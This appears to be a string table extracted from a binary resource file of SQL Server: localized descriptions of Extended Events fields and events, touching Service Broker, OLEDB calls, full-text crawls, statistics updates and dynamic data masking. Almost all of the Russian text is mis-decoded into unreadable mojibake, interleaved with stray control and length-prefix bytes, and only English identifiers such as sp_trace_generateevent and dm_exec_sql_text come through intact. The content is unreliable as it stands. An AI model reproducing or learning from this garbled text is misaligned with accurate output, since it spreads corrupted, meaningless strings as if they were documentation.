8A?>;L7C5BAO 4;O 2>A?@>872545=8O B@0AA8@>2:8.�>7=8:05B ?@8 70?CA:5 ?>;=>B5:AB>2>3> A:0=8@>20=8O (70?>;=5=8O). A?>;L7C9B5 MB> A>1KB85 4;O =01;N45=8O 70 ?>;=>B5:AB>2K< A:0=8@>20=85<.@54K4CI55 2@5<O A=0 7040G8.'>;8G5AB2> AB@>:, 2>72@0I5==KE ?0:5B><.?8A0=85 B8?0 A1>O.';8B5;L=>ABL >?5@0F88 (2 <8;;8A5:C=40E)�>72@0I05B O7K:, 8A?>;L7C5<K9 4;O :064>3> 4>:C<5=B0 ?@8 A5<0=B8G5A:>9 8=45:A0F88 2> 2@5<O ?>;=>B5:AB>2>3> A:0=8@>20=8O A 2:;NG5==K< ?0@0<5B@>< statistical_semantics.P!>>1I05B, GB> A>740=85 :>40 4;O A25@:8 ?5@5=5A5==KE C40;5==KE AB>;1F>2 7025@H5=>4'8A;> ?>2B>@=KE 2K45;5=89 ?0<OB8 4;O 2>AAB0=>2;5=8O.3>7=8:05B ?@8 :><?8;OF88 2K@065=8O =0 O7K:5 XQuery.PAZ@>8AE>48B ?@8 0C48B5 70?@>A0, 5A;8 C AB>;1F0 @57C;LB0B>2 5ABL <5B:0 :;0AA8D8:0F88 40==KE.�@>8AE>48B ?@8 70?CA:5 D>=>2>9 7040G8 ?5@5<5I5=8O 40==KE 6C@=0;0 2 B5<?>@0;L=>9 B01;8F5, >?B8<878@>20==>9 4;O ?0<OB8, 87 2=CB@5==59 B01;8FK 6C@=0;0 2 B01;8FC 6C@=0;0.v:B828@C5BAO ?@8 C40;5=88 70?8A8 ?>4@07C<5205<>3> 8<5=8 4;O 2E>40 87 E@0=8;8I0 EMH59 ?>4@07C<5205<>3> 8<5=8 4;O 2E>40.]#:07K205B, 2>7=8:;> ;8 8A:;NG5=85 2> 2@5<O >1=>2;5=8O 2A5E ?@54AB02;5=89 <><5=B0;L=KE A=8<:>2PAO"5:AB 8=AB@C:F88, ?>;CG5==>9 87 :MH0. 0?>;=O5BAO, 5A;8 ?>;5 object_name ?CAB>.PA`>7=8:05B, :>340 42>8G=K9 D09; SQL Server =5 ?@>E>48B ?@>25@:C ?>4;8==>AB8 ?>4?8A8 Authenticode.D070 40==KE, 2 :>B>@>9 8A?>;L7>20;0AL DC=:F8O approx_count_distinct.0@5<O, 70B@0G5==>5 =0 4>102;5=85 ?>AB02I8:0 SSPI2>=5F ?;0=0 8A?>;=5=8O :C@A>@0 48A?5BG5@0 :C@A>@>2<O A2O70==>3> A5@25@0.6:B828@C5BAO ?@8 70?CA:5 7040G8 4;O E@0=8;8I0 70?@>A>2PA<O >1J5:B0.50H;8 ;8 <K ?5@A?5:B82=K5 GbAgg 2> 2E>4=>< 2K@065=88?�>7=8:05B ?@8 02B><0B8G5A:>< >1=>2;5=88 AB0B8AB8:8 8=45:A0 8 AB>;1F0. -B> A>1KB85 <>65B 1KBL A>740=> =5A:>;L:> @07 2 B5G5=85 A1>@0 AB0B8AB8:8, 5A;8 >1=>2;5=85 2K?>;=O5BAO 0A8=E@>==>.w@>872545= A8=B0:A8G5A:89 0=0;87 8 :><?8;OF8O DDL-8=AB@C:F88 107K 40==KE, ?>A;5 G53> 1K;> =0G0B> 2K?>;=5=85 8=AB@C:F88.4#:07K205B, 1K;0 ;8 ?@>25@5=0 A>3;0A>20==>ABL 40==KE.m@>8AE>48B, :>340 ?>;L7>20B5;L ?KB05BAO 87<5=8BL =5:>B>@K5 ?0@0<5B@K Service Broker 2 C?@02;O5<>< M:75<?;O@5.
<O AE5<K.K; ;8 CGB5= ?0:5B=K9 @568<?]!>45@68B 7=0G5=85 ?0@0<5B@0 @userdata, ?5@540==>3> E@0=8<>9 ?@>F54C@5 sp_repl_generate_event.I!>>1I05B > 70?CA:5 DC=:F88 ?5@5=>A0 AE5<K 2> 2@5<O 7040G8 ?5@5=>A0 AE5<K.e=8F80;870F8O 459AB28O :>=5G=>3> 02B><0B0 8AE>4OI53> ?>4B25@645=8O ?5@540G8 :><?>=5=B0 Service Broker8>2K9 70?@>A Polybase, 4>102;5==K9 2 B01;8FC 02B>@870F88B@>8AE>48B ?@8 =5>1E>48<>AB8 ?>2B>@=>9 :><?8;OF88 =0 C@>2=5 8=AB@C:F89 4;O ?0:5B0 ;N1>3> B8?0. !N40 >B=>AOBAO E@0=8<K5 ?@>F54C@K, B@8335@K, =5@53;0<5=B8@>20==K5 ?0:5BK 8 70?@>AK. 0:5BK <>3CB ?5@54020BLAO =5A:>;L:8<8 A?>A>10<8, 2:;NG0O E@0=8<CN ?@>F54C@C sp_executesql, 48=0<8G5A:89 SQL, <5B>4K Prepare 8;8 <5B>4K Execute.!>740==0O 1070 40==KEPA"8? A>1KB8O C254><;5=8OPA?>;CG5=85 7=0G5=8O, 845=B8G=>3> 7=0G5=8N DC=:F88 CONTEXT_INFO()@'8A;> >?5@0F89 GB5=8O C40;5==KE AB@0=8F, 8=8F88@>20==KE ?0:5B><.'8A;> 2E>4>2 2 B5:CI5< :MH5.PA(>;CG5=85 845=B8D8:0B>@0 B5:CI53> A50=A0b>7=8:05B ?@8 C40;5=88 :><?>=5=B>< Service Broker A>>1I5=8O, ?@54=07=0G5==>3> 4;O ?5@5=0?@02;5=8O.?!>>1I05B 4;8B5;L=>ABL >?5@0F88 ?>43>B>2:8 ?5@5=5A5==>9 B01;8FK.:>;CG5=85 845=B8D8:0B>@0 ?C;0 @5AC@A>2 4;O B5:CI53> A50=A0�45=B8D8:0B>@ 8=45:A0 >1J5:B0, =0 :>B>@K9 ?>2;8O;> A>1KB85. ;O >?@545;5=8O 845=B8D8:0B>@0 8=45:A0 >1J5:B0 8A?>;L7C9B5 AB>;15F index_id ?@54AB02;5=8O :0B0;>30 sys.indexes.]!>45@68B 7=0G5=85 ?0@0<5B@0 @userinfo, ?5@540==>3> E@0=8<>9 ?@>F54C@5 sp_trace_generateevent.PA<>=5G=K9 02B><0B 4>AB02:8 ?5@540G8 :><?>=5=B0 Service BrokerJ>7=8:05B, 5A;8 >1J5:B 1K; 87<5=5= A ?><>ILN 8=AB@C:F88 ALTER. -B> A>1KB85 2>7=8:05B 42064K 4;O :064>9 >?5@0F88 ALTER. -B> A>1KB85 2>7=8:05B, :>340 >?5@0F8O =0G8=05BAO 8 :>340 >?5@0F8O ;81> >B:0BK205BAO, ;81> D8:A8@C5BAO. >102LB5 459AB285 nt_username 8;8 server_principal_name 2 MB> A>1KB85, GB>1K >?@545;8BL, :B> 87<5=8; >1J5:B.. 07@5H8BL 1;>:8@>2:C AB@0=8FK (2:;. 8;8 >B:;.)!2>9AB20, A2O70==K5 A >?5@0F859-!>1@0BL 845=B8D8:0B>@ @0A?@545;5==>3> 70?@>A0]0G0;> A>1KB8O :>=5G=>3> 02B><0B0 8AE>4OI53> ?>4B25@645=8O ?5@540G8 :><?>=5=B0 Service Broker07=0G5=85 >H81:8.PAXML-?@54AB02;5=85 45@520 PhyOp.%'8A;> AB@>:, 2>72@0I5==KE 8=AB@C:F859!5@L57=>ABL A1>O 2 SQL.PA(5AB>, 8A?>;L7C5<>5 107>9 40==KE tempdb.>7=8:05B, :>340 A5@25@ >?@545;O5B 87<5=5=85 A>AB>O=8O 2 @0<:0E 2>AAB0=>2;5=8O A50=A0 2 ?>4:;NG5=88 A 2:;NG5==>9 CAB>9G82>ABLN.9#:07K205B, ?>;CG5= ;8 8AE>4=K9 04@5A 87 28@BC0;L=>9 A5B8.*$C=:F8O ?@>D8;8@>20=8O HKProc::FExecute().40:A8<0;L=K9 @07<5@ B01;8FK 2 0=0;8B8G5A:8E 70?@>A0E>;CG5=85 B5:CI53> 4><5=0 NT:#:07K205B, 8A?>;L7>20;0AL ;8 B01;8F0 6C@=0;0 ?> C<>;G0=8N.o5@5G8A;5=85, A>45@60I55 ?@8G8=C, ?> :>B>@>9 ?@8=C48B5;L=0O ?0@0<5B@870F8O =5 1K;0 ?@8<5=5=0 :> 2A59 8=AB@C:F88PA*3@0=8G5=85 ?0<OB8 4;O ?@>?CI5==>3> H;N70.�>;8G5AB2> D878G5A:8E >?5@0F89 GB5=8O AB@0=8F, 8=8F88@>20==KE 2> 2@5<O 2K?>;=5=8O B@8335@0 LOGON 8;8 DC=:F88-:;0AA8D8:0B>@0 Resource Governor.%5 C40;>AL ?>?5@5<5==> 2K?>;=8BL tvf.5<O F5;52>3> :><?>=5=B0 Service Broker 4;O A>>1I5=8O.<!2>9AB2> 8AB>G=8:0 40==KE <5B040==KE >B:@KB>3> =01>@0 AB@>:.|A;8 7040=> 7=0G5=85 1, collect_data_stream 2:;NG05B A1>@ 40==KE data_stream. > C<>;G0=8N AB>;15F data_stream =5 A>7405BAO.?!>AB>O=85 D;030 B@0AA8@>2:8 DC=:F88 (CAB0=>2;5=/=5 CAB0=>2;5=).945=B8D8:0B>@ >1J5:B0, A2O70==>3> A A>740205<K< >1J5:B><.30G0BL A25@:C 40==KE <564C 107>9 40==KE 8 >1J5:B><.`#:07K205B, 2;8O5B ;8 ?@>1;5<0 ?@>872>48B5;L=>AB8 =0 >F5=:C :>;8G5AB20 M;5<5=B>2 8;8 ?;0= ?>8A:0.PAdA;8 7040=> 7=0G5=85 1, collect_data 2:;NG05B A1>@ 40==KE. > C<>;G0=8N AB>;15F 40==KE =5 A>7405BAO.:>AB83=CB ?@545; 7040G 0:B820F88 :><?>=5=B0 Service Brokera"01;8F0, 2 >4=>< 87 AB>;1F>2 :>B>@>9 1K;> 4>102;5=> 8;8 C40;5=> >?@545;5=85 B5<?>@0;L=>3> 0C48B0./!>AB>O=85 E@0=8<>9 ?@>F54C@K 8;8 8=AB@C:F88 SQL<0?@>A =0 ?>B>:>2K9 4>ABC? D09;>2>3> 22>40-2K2>40 FILESTREAM>2>5 8<O 2=5H=59 107K 40==KE.4'8A;> 70?@>A>2 approx_count_distinct 4;O 107K 40==KE'"8? A>>1I5=89 :><?>=5=B0 Service Broker>K720=0 E@0=8<0O ?@>F54C@0 0:B820F88 :><?>=5=B0 Service BrokerPAR>;CG5=85 =5>1O70B5;L=>3> 845=B8D8:0B>@0, ?@54>AB02;O5<>3> :;85=B>< ?@8 A>548=5=88*07=0G5==K9 A8AB5<>9 845=B8D8:0B>@ A1>@:8.Z#:07K205B, 1K;> ;8 >?@545;5=85 B5<?>@0;L=>3> 0C48B0 4>102;5=> 8;8 C40;5=>, 0 B0:65 ?5@8>4.<O >1J5:B0, A>45@60I53> A:><?8;8@>20==CN 8=AB@C:F8N. -B>B >1J5:B <>65B 1KBL E@0=8<>9 ?@>F54C@>9, B@8335@>< 8;8 >?@545;O5<>9 ?>;L7>20B5;5< DC=:F859. ;O =5@53;0<5=B8@>20==KE ?0:5B>2 8;8 ?>43>B>2;5==KE 8=AB@C:F89 Transact-SQL 845=B8D8:0B>@ object_name ?CAB.`#:07K205B, O2;O5BAO ;8 MB> =0G0;>< MB0?0 >1=>2;5=8O AB0B8AB8:8 A1>@:8 A 2>7>1=>2;O5<K< 8=45:A><.O#:07K205B, ?>;CG5= ;8 8AE>4=K9 04@5A 87 70:@KB>3> ?>4:;NG5=8O 28@BC0;L=>9 A5B8.PAU!>>1I05B > 7025@H5=88 C40;5==>3> 2K?>;=5=8O 4;O A>740==>3> :>40 ?5@5=5A5==>3> 8=45:A0-#:07K205B @07=K5 B8?K ?>AB02I8:>2 CA;C3 A2O78>4 >H81:8 SQL ?@8 A1>5.g>7=8:05B, :>340 ACI5AB2CNI89 A50=A DQ, A>2?040NI89 A 2K?>;=O5<K< ?@>5:B>< DQ, >1=0@C65= 2 :MH5 A50=A0.PA9#:07K205B B8? 2=CB@5==53> >?5@0B>@0 2 2KE>4=>< 45@525 QO.[>7=8:05B 2AO:89 @07, :>340 3;>10;L=K9 >1J5:B IDataInitialize 2>72@0I05BAO : DC=:F88 2K7>2045=B8D8:0B>@ 107K 40==KE.+"5:AB ?>2B>@=> A:><?8;8@>20==>9 8=AB@C:F88.PA;!@010BK205B ?@8 7025@H5=88 70?@>A0 > A>AB>O=88 ?C;0 40==KE.083@0F8O ?@54?@8<5B ?>?KB:C ?>;CG5=8O 1;>:8@>2:8<#:07K205B, ?@8<5=5=> ;8 : :>=5G=><C AB>;1FC =5O2=>5 A:@KB85.PAI<O A50=A0 @0AH8@5==KE A>1KB89, ?@8 70?CA:5 :>B>@>3> 2K720=> MB> A>1KB85.+'8A;> 0=0;878@C5<KE A8<2>;>2 2 B5:AB5 JSON.L!>>1I05B > 7025@H5=88 A>740=8O :>40 4;O >?5@0F88 ?5@5=>A0 C40;5==>3> 8=45:A0TSQL_VARIANT, :>B>@K9 8A?>;L7>20;AO :0: B8? AB>;1F0 2 :><0=45 OPEJSON A O2=>9 AE5<>9.PA5 A2545=8O > A53<5=B5 107K 40==KE A>740NBAO 2 1075 40==KE master 2 <>4C;5 MDM.8>;CG5=0 @0AH8@5==0O 1;>:8@>2:0 4;O C40;5=8O 107K 40==KE�@5<O, ?@>H54H55 <564C 70?8ALN D545@0B82=>3> B>:5=0 A> A2545=8O<8 > ?@>25@:5 ?>4;8==>AB8 8 ?>;CG5=85< A>>1I5=8O > D545@0B82=>< B>:5=5 ?@>25@:8 ?>4;8==>AB8.PA 107K 40==KE;><5@ AB@>:8 =502B>=><=>9 8=AB@C:F88 2 B5:CI5< :04@5 T-SQL.PA:>7=8:05B, 5A;8 : 70?@>AC ?@8<5=O5BAO <0A:8@>20=85 40==KE.%45=B8D8:0B>@ 480;>30 2 MB>9 ?5@540G5A5@L57=>ABL >H81:8?'8A;> AB@>:, :>B>@>5 1K;> 1K ?@>A:0=8@>20=> A ?@56=59 A:>@>ABLN>4 >H81:8 >?5@0F88PA?"8? AB>;1F0, : :>B>@><C ?@8<5=O5BAO <5B:0 :;0AA8D8:0F88 40==KE.2<O ?@8;>65=8O, 8A?>;L7C5<>5 4;O 70?@>A0 Polybase./#:07K205B, DC=:F8>=8@C5B ;8 75@:0;L=K9 <0@H@CB.|A;8 7040=> 7=0G5=85 1, collect_cached_text 2:;NG05B A1>@ 40==KE cached_text. > C<>;G0=8N AB>;15F cached_text =5 A>7405BAO.HAB02H55AO 2@5<O ACI5AB2>20=8O ?5@5=0?@02;O5<>3> A>>1I5=8O (2 A5:C=40E).j:B828@C5BAO, :>340 70?CA:05BAO 8;8 7025@H05BAO 2K?>;=5=85 ;>:0;L=>3> 70?@>A0 =0 A5@25@=>< M:75<?;O@5 SQL.U>7=8:05B ?@8 >1=0@C65=88 =502B>=><=>3> 8A?>;L7>20=8O 2> 2@5<O :><?8;OF88 8=AB@C:F88.10?CA: B09<5@0 ?5@540G8 :><?>=5=B0 Service Broker�@>8AE>48B ?@8 7025@H5=88 70?@>A0 COMMIT TRANSACTION, >B?@02;5==>3> 87 :;85=BA:>3> ?@8;>65=8O G5@57 8=B5@D59A C?@02;5=8O B@0=70:F8O<8.">;8G5AB2> D@03<5=B>2 4;O A;8O=8O.I45=B8D8:0B>@ 157>?0A=>AB8 CG0AB=8:0 =0 C@>2=5 A5@25@0, A>7402H53> A50=A.9040==0O <0:A8<0;L=0O AB5?5=L ?0@0;;5;87<0 @02=0 548=8F5.]@>8AE>48B ?@8 ?>?KB:5 A>740=8O B5<?>@0;L=>3> ?5@8>40 2 B01;8F5, >?B8<878@>20==>9 4;O ?0<OB8.?>=5F 8A?>;L7>20=8O @01>G59 B01;8FK :C@A>@0 48A?5BG5@0 :C@A>@>28>7=8:05B ?@8 7025@H5=88 2K?>;=5=8O ?0:5B0 Transact-SQL.<>;CG5=85 845=B8D8:0B>@0 3@C??K @5AC@A>2 4;O B5:CI53> A50=A0\>=5F A>1KB8O :>=5G=>3> 02B><0B0 8AE>4OI53> ?>4B25@645=8O ?5@540G8 :><?>=5=B0 Service Broker45=B8D8:0B>@ ?C;0 @5AC@A>2.(#:07K205B, 1K;0 ;8 8=AB@C:F8O :MH8@>20=0+/2;O5BAO ;8 MB> A>548=5=85 2>AAB0=>2;5==K<?{0@0<5B@K A>@B8@>2:8 =0G0;L=>3> AB>;1F0 4;O CA;>28O A>548=5=8O, 5A;8 CA;>285 C:070=>, 2 ?@>B82=>< A;CG05�  ?CAB>5 7=0G5=85.g!>>1I05B > 2K?>;=5=88 >?5@0F88 DML C40;5=8O ?5@5=>A0, 2 :>B>@>9 8A?>;L7>20;0AL ?>4A:07:0 04<8=8AB@0B>@04!2>9AB2> :0B0;>30 <5B040==KE >B:@KB>3> =01>@0 AB@>:.PAjDDL-8=AB@C:F8O 107K 40==KE 7025@H8;0 2K?>;=5=85 ?@>25@:8 2@5<5=8 2K?>;=5=8O, =0?@8<5@ ?@>25@:8 @07@5H5=89./=CB@5==89 845=B8D8:0B>@ 87<5=O5<>3> ?0@0<5B@0.PA"'8A;> >6840NI8E 4;O 1>;LH>3> H;N70?#:07K205B 2@5<O & (2 <8:@>A5:C=40E), 70B@0G5==>5 =0 0:B820F8N.F?5@0B>@ "1>;LH5" <564C 42C<O AB@>:>2K<8 7=0G5=8O<8 2 D>@<0B5 SQL ANSIPA45=B8D8:0B>@ 3@C??K A>>1I5=89.PA%!2>4:0 >H81>: 4;O A1>52 A>740=8O :>4080G0BL A>740=85 A53<5=B0 107K 40==KE 2 ;>:0;L=>< <>4C;5.PA#@>25=L A5@L57=>AB8 8A:;NG5=8O.PAc!>2>:C?=>5 2@5<O <564C =5A:>;L:8<8 2K7>20<8 2 ReadAsync 8 ReadHandler ?@8 4>102;5=88 ?>AB02I8:0 SSL#!B@>:8 4;O A>1KB8O (5A;8 ?@8<5=8<>)D<O 4;O 2E>40, A2O70==>5 A B>:5=>< ?>4@07C<5205<>3> 8<5=8 4;O 2E>40.7<O 4@0925@0 :;85=B0, =0?@8<5@ ODBC, SQL Client 8 B. ?.$!>1@0BL DDL 70?@>A0 ?C;0 40==KE GUIDPA><5@ >H81:8 SqlException.>1I89 AG5BG8: 3PA'K;> ;8 A>548=5=85 CA?5H=> CAB0=>2;5=>?""01;8F0 A ?>;=>B5:AB>2K< 8=45:A><.!>=5F :C@A>@0 48A?5BG5@0 :C@A>@>26>7=8:05B ?>A;5 =0G0;0 2K?>;=5=8O ?0:5B0 Transact-SQL.&>;8G5AB2> A5:F89 2 F5;52>< D@03<5=B5./@>D8;8@>20=85 DC=:F88 HKProc::ExecuteNested().PAd"01;8F0, 2 :>B>@>9 ?@>87>H5; A1>9 ?@8 A60B88 AB@0=8F 2> 2@5<O A>740=8O B01;8FK 6C@=0;0 ?> C<>;G0=8N.B?5@0B>@ "=5 @02=>" 4;O 42CE AB@>:>2KE 7=0G5=89 2 D>@<0B5 SQL ANSI'!B5?5=L A5@L57=>AB8 A>1KB8O 8A:;NG5=8O.PA45=B8D8:0B>@ =>2>9 >1;0AB8.5>AAB0=>2;5=85 A50=A0 2:;NG5=> 4;O MB>3> ?>4:;NG5=8O.PA)45=B8D8:0B>@ >1J5:B0 4;O >1J5:B0 ?>8A:0.+>7=8:05B ?@8 70?CA:5 8;8 >AB0=>2:5 A5@25@0�>7=8:05B, :>340 ?>;L7>20B5;L >B:;NG05BAO >B A5@25@0. -B> A>1KB85 =5>1E>48<> 2 B@0AA8@>2:0E, :>B>@K5 1C4CB 8A?>;L7>20BLAO 4;O 2>A?@>872545=8O.AB>G=8: A>>1I5=8O.PA<O D878G5A:>3> A5@25@0.75A:@8?B>@ SQL 8=AB@C:F88, ?@54AB02;ONI89 B5:AB 70?@>A0PA0@5<O, ?>B@0G5==>5 =0 A>740=85 :>=B5:AB0 FedAuth9=5A5=0 A>>B25BAB2CNI0O 70?8AL 2 6C@=0; >H81>: ObjectName4B?@02;5==K5 8 ?>;CG5==K5 ?@8 2K7>25 OLEDB ?0@0<5B@KPA,'8A;> 8=AB@C:F89 2 ?>;L7>20B5;LA:>9 DC=:F88./@5<O, 70B@0G5==>5 =0 4>102;5=85 ?>AB02I8:0 SSLPA45=B8D8:0B>@ B01;8FK.Q45=B8D8:0B>@ >1J5:B0, 4;O :>B>@>3> 1K;> >AB0=>2;5=> ?>;=>B5:AB>2>5 A:0=8@>20=85.PAB5A:@8?B>@ ?;0=0 70?8A8 :MH0 4;O ?0@0<5B@87>20==>3> ?;0=0 70?@>A0.Z@>8AE>48B ?@8 7025@H5=88 D>=>2>9 7040G8 4;O 2K?>;=5=8O 7040G >G8AB:8 B5<?>@0;L=KE 40==KE.t@>8AE>48B, 5A;8 A>>1I5=85 :><?>=5=B0 Service Broker =5 C405BAO 4>AB028BL. -B> <>65B ?@>87>9B8 ?> =5A:>;L:8< ?@8G8=0<, =0?@8<5@: =54>ABC?5= F5;52>9 :><?>=5=B Service Broker, =54>ABC?=0 F5;520O >G5@54L, A>>1I5=85 4>AB02;5=> A =0@CH5=85< ?>@O4:0 A;54>20=8O, ?@52KH5=> 2@5<O >6840=8O 87-70 A;8H:>< 1>;LH>3> :>;8G5AB20 >1J5:B>2 2 ?0<OB8, =5 C40;>AL :;0AA8D8F8@>20BL A>>1I5=85.F!>>1I05B > =0G0;5 ?@>25@>: <5B040==KE 2> 2@5<O 2K?>;=5=8O ?5@5<5I5=8O.(<O CA?5H=> ?@8<5=5==>9 AB@C:BC@K ?;0=0.#:07K205B, 8A?>;L7C5BAO ;8 MFA.PAHAB02H55AO 2@5<O ACI5AB2>20=8O ?5@5=0?@02;O5<>3> A>>1I5=8O (2 A5:C=40E).
<O 4;O 2E>40/@>8AE>48B ?@8 ?>ABC?;5=88 2K7>20 IPC =0 A5@25@<O B8?0 40==KE SQL^@>8AE>48B, 5A;8 ?@8 A>740=88 B01;8FK 6C@=0;0 ?> C<>;G0=8N ?@>8AE>48B A1>9 ?@8 A60B88 AB@0=8F.PA&>;CG5=85 8<5=8 :;85=BA:>3> ?@8;>65=8OL!>>1I05B > =0G0;5 8;8 7025@H5=88 A>740=8O ?0:5B0 T-SQL 4;O <83@0F88-?5@5=>A0$070 40==KE 4;O >3@0=8G5=8O DC=:F89.`>:0;87>20==>5 A>>1I5=85, C:07K20NI55 =0 >1E>4=>9 ?CBL 8;8 8A?>;L7>20=85 0;LB5@=0B82=>9 DC=:F88. 45=B8D8:0B>@ >?5@0B>@0 70?@>A0."8?K D>=>2KE 7040=89�5A:@8?B>@, :>B>@K9 <>6=> 8A?>;L7>20BL 4;O ?>;CG5=8O B5:AB0 70?@>A0 87 48=0<8G5A:>3> 04<8=8AB@0B82=>3> ?@54AB02;5=8O dm_exec_sql_text.45=B8D8:0B>@ ?><>I=8:0._@>8AE>48B ?@8 2K7>25 A5@25@>< SQL Server ?>AB02I8:0 OLEDB 4;O 2K?>;=5=8O @0A?@545;5==>3> 70?@>A0 8;8 C40;5==>9 E@0=8<>9 ?@>F54C@K. A?>;L7C9B5 MB> A>1KB85 4;O =01;N45=8O 70 2K7>20<8 OLEDB, >ACI5AB2;ONI8<8 70?@>AK 40==KE : ?>AB02I8:C OLEDB. -B> A>1KB85 1C45B 8=8F88@>20=> 42064K 4;O :064>3> 2K7>20 OLEDB: >48= @07 ?@8 70?CA:5 8 >48= @07 ?@8 7025@H5=88PA+5@2K9 0@3C<5=B DC=:F88 <0A:8@>20=8O 40==KE<-B> 7040G0 E@0=5=8O 4;O E@0=8;8I0 :;0AB5@87>20==KE AB>;1F>2?PA('8A;> C:070==KE CAB@>9AB2 4;O 0@E820F88.<O C40;5==>3> >1J5:B0.PAC@5<O, 70B@0G5==>5 =0 2K?>;=5=85 ?>4?@>3@0<<K LogonTriggers A5@25@0PA-#:07K205B A>AB>O=85 G0AB>BK A1>@0 AB0B8AB8:8._45=B8D8:0B>@ ?;0=8@>2I8:0, 2 :>B>@>< 70?;0=8@>20=> 2K?>;=5=85 MB>9 4803@0<<K @01>G59 =03@C7:8.P45=B8D8:0B>@ <>4C;O, A>45@60I53> 8=AB@C:F8N, 2K?>;=5=85 :>B>@>9 1K;> 7025@H5=>.,'8A;>, ?@54AB02;ONI55 845=B8D8:0B>@ 7040=8O.P@>8AE>48B ?@8 2K7>25 A5@25@>< SQL Server ?>AB02I8:0 OLEDB 4;O 2K?>;=5=8O @0A?@545;5==>3> 70?@>A0 8;8 C40;5==>9 E@0=8<>9 ?@>F54C@K. A?>;L7C9B5 MB> A>1KB85 4;O =01;N45=8O 70 2K7>20<8 OLEDB, 8A?>;L7CNI8<8 <5B>4 QueryInterface. -B> A>1KB85 1C45B 8=8F88@>20=> 42064K 4;O :064>3> 2K7>20 OLEDB: >48= @07 ?@8 70?CA:5 8 >48= @07 ?@8 7025@H5=88%>7=8:05B ?>A;5 A>740=8O B01;8FK XTP.PA"8? 8=AB@C:F8845=B8D8:0B>@ 8=45:A0PA�!:>;L:> @07 :>=D83C@0F8O >1;0AB8 107K 40==KE A CAB0@52H59 >F5=:>9 :@0B=>AB8 8A?>;L7>20;0AL 4;O ?@8=C48B5;L=>3> 7040=8O CAB0@52H59 >F5=:8 :@0B=>AB8�A;8 7040=> 7=0G5=85 1, ?0@0<5B@ collect_database_name 2:;NG05B ?>;CG5=85 7=0G5=89 database_name. > C<>;G0=8N AB>;15F database_name =5 A>7405BAO.9?@545;O5B, O2;O5BAO ;8 40==0O >?5@0F8O CREATE 8;8 ALTER..<O C7;0 ?>;L7>20B5;O, 2K?>;=ONI53> 8=AB@C:F8NPA0@5<O 70?@>A0 0B@81CB>2 :;85=B0 2 <8:@>A5:C=40E. "8? >1J5:B0, C40;5==>3> 87 :MH0.H@5<O & (2 <8;;8A5:C=40E), 70B@0G5==>5 =0 1KAB@K9 MB0? 70?@>A0 USEPLAN  1=>2;5==K5 D0:B8G5A:85 AB@0=8FK 07<5@ :>=B5:AB0 A50=A0PA5"01;8F0, 4;O :>B>@>9 2:;NG5=0 >?B8<870F8O 4;O ?0<OB8.PAV#:07K205B, ?@>87>H;> MB> A>1KB85 2 =0G0;5 8;8 2 :>=F5 A>740=8O @57C;LB8@CNI53> =01>@0.G@8G8=0 ?>2B>@=>9 :><?8;OF88 8=AB@C:F88, 5A;8 MB> ?>2B>@=0O :><?8;OF8O.P5@5405B 40==K5 > 7025@H5=88 ?>2B>@=>3> 70?>;=5=8O >G5@548 7040G ?5@5=>A0 AE5<K.<O 8=45:A0.PA->?>;=8B5;L=K9 =><5@ 25@A88 4@0925@0 :;85=B0.#!>1@0BL EMH @0A?@545;5==>3> 70?@>A0(<O <5B>40 OLEDB, 8A?>;L7C5<>3> 2 2K7>25@<O >1J5:B0, =0 :>B>@K9 AAK;0;AO C40;5==K9 2K7>2 ?@>F54C@ (RPC).6>ABC?8; ;8 70?@>A 0@E820F88 A A5@25@=>3> ?>4:;NG5=8O.+0@0<5B@ >1;0AB8 107K 40==KE ELEVATE_ONLINEPA">;CG5=85 B5:CI53> ?>;L7>20B5;O NT0?CA: 8=AB@C:F88 SQLPA�45=B8D8:0B>@ B@0=70:F88, 2> 2@5<O :>B>@>9 ?@>87>H;> A>1KB85. A?>;L7C9B5 MB> 7=0G5=85 4;O ?>8A:0 40==KE 2 AB>;1F5 filestream_transaction_id ?@54AB02;5=8O dm_filestream_file_io_requests 8;8 dm_filestream_file_io_handles.>;CG5=85 845=B8D8:0B>@0 A50=A0V!>>1I5=85 1K;> 2K2545=> 87 >G5@548 2 B01;8F5 B5:AB0 ?5@540G8 :><?>=5=B0 Service BrokerPA7$0:B8G5A:>5 A>AB>O=85 ?><>I=8:0 (2:;NG5= 8;8 >B:;NG5=).h'8A;> >1KG=KE >B:;>=5==KE ?;0=>2, ?@>25@ONI8E 8=45:A columnstore, 8;8 B5E, :>B>@K5 <>3;8 1KBL >B:;>=5=K.?#:07K205B, 1K;0 ;8 ?@8<5=5=0 ?>;8B8:0 157>?0A=>AB8 4;O 70?@>A0.*>2>5 7=0G5=85 A8AB5<=KE D;03>2 ?><>I=8:0.\>7=8:05B, 5A;8 : 70?@>AC ?@8<5=O5BAO <0A:8@>20=85 40==KE 8 70?@>A 459AB28B5;L=> <0A:8@>20=.e!>>1I05B, :>340 ?0:5B 1C45B ?>AB02;5= 2 >G5@54L 4;O >1@01>B:8 7040G8 AE5<K 4;O 107K 40==KE 8 >1J5:B0."8? >1J5:B0 045@6:0 A60B8O 40==KE 2 <8=CB0E?8A0=85 8=45:A0 >B:@5?;5=8OR"01;8F0, AB@>:8 :>B>@>9 ?@>H;8 A25@:C, 5A;8 C40;5==0O B01;8F0 >BAB05B >B ;>:0;L=>9!@5<O 2>7=8:=>25=8O MB>3> A>1KB8O�A;8 MB>B ?0@0<5B@ 8<55B 7=0G5=85 1, B> ?0@0<5B@ collect_statement 2:;NG05B ?>;CG5=85 40==KE >B 8=AB@C:F88. > C<>;G0=8N AB>;15F statement =5 A>7405BAO.e#:07K205B =><5@ ?>A;54=59 >H81:8, 5A;8 ?>A;54=OO ?>?KB:0 >1=>2;5=8O AB0B8AB8:8 7025@H8;0AL =5CA?5H=>.'"01;8F0, 4;O :>B>@>9 1K; C40;5= ?5@8>4.PA*@>8AE>48B ?@8 2K?>;=5=88 >?5@0F88, A2O70==>9 A ?>4?8A:0<8 =0 C254><;5=8O > 70?@>A0E. A?>;L7C9B5 MB> A>1KB85 4;O =01;N45=8O 70 A>740=85< 8 C40;5=85< ?>4?8A>:, 70 D>@<8@>20=85< ?>4?8A:0<8 A>>1I5=89 C254><;5=8O, 70 2>7=8:=>25=85< >H81>: ?@8 A>740=88 A>>1I5=89 C254><;5=8O ;81> ?@8 C40;5=88 ?>4?8A>:.*>7=8:05B 2 =0G0;5 A>740=8O ?@>F54C@K XTP.TCP-04@5A :;85=B0 A <0A:>94@54>AB02;5=85 ?0<OB8 (G8A;> AB@0=8F @07<5@>< 8�).!2545=8O > DC=:F88.PA!<5=0 DC=:F89 >B:;NG5=K 2 <0B@8F5IndexIdd45=B8D8:0B>@ 107K 40==KE, 2;045NI59 